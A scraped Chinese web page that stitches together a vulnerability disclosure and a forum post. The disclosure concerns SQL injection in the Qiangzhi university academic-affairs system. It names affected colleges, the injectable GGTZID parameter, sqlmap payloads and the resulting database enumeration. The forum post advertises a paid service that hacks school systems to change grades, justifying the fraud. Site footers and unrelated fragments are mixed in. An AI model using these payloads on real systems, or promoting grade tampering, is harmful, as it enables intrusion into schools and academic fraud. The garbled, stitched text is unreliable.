武夷学院教务管理系统强智系统重修成绩怎么查

来源：蜘蛛抓取(WebSpider) 时间：2016-02-25 08:24 标签： 武夷学院青果系统入口
分享漏洞：
披露状态：
： 细节已通知厂商并且等待厂商处理中
： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放（、、）
： 细节向核心白帽子及相关领域专家公开
： 细节向普通白帽子公开
： 细节向实习白帽子公开
： 细节向公众公开
简要描述：
强智科技教务系统存在SQL注入漏洞，多校中枪……
详细说明：
这个算是CMS吧？
中枪学校及注入点
湖南商学院：http://**.**.**.**/Public/ShowGGTZ.asp?GGTZID=317【这里】
北京城市学院：**.**.**.**/jiaowu/Public/ShowGGTZ.asp?GGTZID=218【这里】
焦作大学：http://**.**.**.**/jiaowu/Public/ShowGGTZ.asp?GGTZID=1155【这里】
河北交通职业技术学院：**.**.**.**/jiaowu/Public/ShowGGTZ.asp?GGTZID=223【这里】
湖北经济学院法商学院：**.**.**.**/jiaowu_fsxy/Public/ShowGGTZ.asp?GGTZID=105【这里】
使用智强科技教务系统的学校有很多，估计还有，懒得查了……
问题就出在这款教务系统带的新闻功能上！在新闻的URL中GGTZID字段没过滤，然后数据库就直接暴漏啦……
漏洞证明：
以湖南商学院为例曝个数据库名吧：
code 区域Place: GET
Parameter: GGTZID
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: GGTZID=317 AND
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: GGTZID=317; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: GGTZID=317 WAITFOR DELAY '0:0:5'--
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2008
available databases [7]:
[*] jiaowusxy
[*] master
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
教务系统这东西，点到为止，我不继续深入了……
修复方案：
版权声明：转载请注明来源 @
厂商回应：
危害等级：无影响厂商忽略
忽略时间： 12:39
厂商回复：
此漏洞问题，我方2010年就给出了处理方案，如还有个别存在，是没有安装要求进行部署引起
最新状态：
漏洞评价：
对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值
漏洞评价(共0人评价):
登陆后才能进行评分
登录后才能发表评论，请先江西科技学院综合教务管理系统-强智科技
在线用户数：后使用快捷导航没有帐号？
查看: 3855|回复: 2
教务系统成绩能改吗？找老师还是找教务处的帮忙。全国唯一改成绩机构改后再付家扣扣：
专业解决补考不过挂科重修学分低GPA低舞弊等问题，要是遇上以上所有不顺心问题的同学有福了，不信不妨往下看。
& && & 首先来谈谈改成绩合理性分析： 这点其实真的没有什么好说的，相信很多同学还没出社会就已经通过网络，或经历多多少少了解了下当今这个社会，想要办点什么事没钱没关系是能办不了的对吧？有钱有实力人家的子弟从来就不在乎成绩，他们就算全挂科都可以托家里找关系，或者直接用钱砸倒教务处的人，这期间就要看出的金钱诱不诱惑到教务处的人或老师，而苦鼻人家的孩子就没有那么好过了，为了一张完整的文凭以后可以找个好点的工作，补考清考不过的能不能拿到毕业证都还是一个很大的问题，教务处的人改成绩是改的教务系统，改成绩也是改的教务系统一样没区别，我们能清除修改教务系统的痕迹，教务处的人却不能除非那人是技术手或工程师除外，也就是说改成绩是合理的。
& && &下面来分析下关键性：现在大学教务系统平台充分利用互联网络B/S管理系统模式，以网络为平台，为各个学校教务系统的管理提-供一个平台，帮助学校管理教务系统，用一个帐号解决学校教务教学管理，并且学校可以自由选择学校需要的教务管理系统，灵活地定制符合学校自己实际情况的教务系统，这种教务管理方式虽然便利于学生学业和教务办公，但同时也存在很多未知的漏洞，学校采购十几万几十万的教务系统回来也不会这么不堪，再完美的系统都不敢说有百分百的零漏洞
& && &据我所知从零八年开始国内教务系统正是在高峰发展期，多版本化以及多公司研发化，目前大多部分学校使用的教务系统是,青果,正方,URP,VPN,HUP,强智,凌展,乾豪,金仕达,清华研究,还有些自己开发的教务系统等，以上综合教务系统数据库结构都是相同的,oracle。不承诺任何教务系统都能改，只在技术范围内提-供能操作的系统，为了让同学们可以得到充分的信任，实行的操作方案是先改后再谢酬的工作流程，因为是我们先付出劳力帮你们改好，经过你们验证的情况下在付给我们事先谈好的报酬，所以请来咨询的同学不要要求给你们验证这种无理要求，想要找我们改成绩的同学可以联系企鹅:
十年前认识你们多好啊
能不能把我银行卡多加几个0呀 ，50%报酬哦！
Powered by Discuz!
& Comsenz Inc.教务管理系统成绩
北京千橡网景科技发展有限公司：
文网文[号··京公网安备号·甲测资字·文化部监督电子邮箱：wlwh@·
文明办网文明上网举报电话： 举报邮箱：admin1@&&&&&&&&&&&&&&&&东北师范大学综合教务管理系统-强智科技
外聘教师入口
在线用户数：
请使用Windows自带的IE浏览器访问

我要回帖

更多关于 武夷学院青果系统入口 的文章

 

随机推荐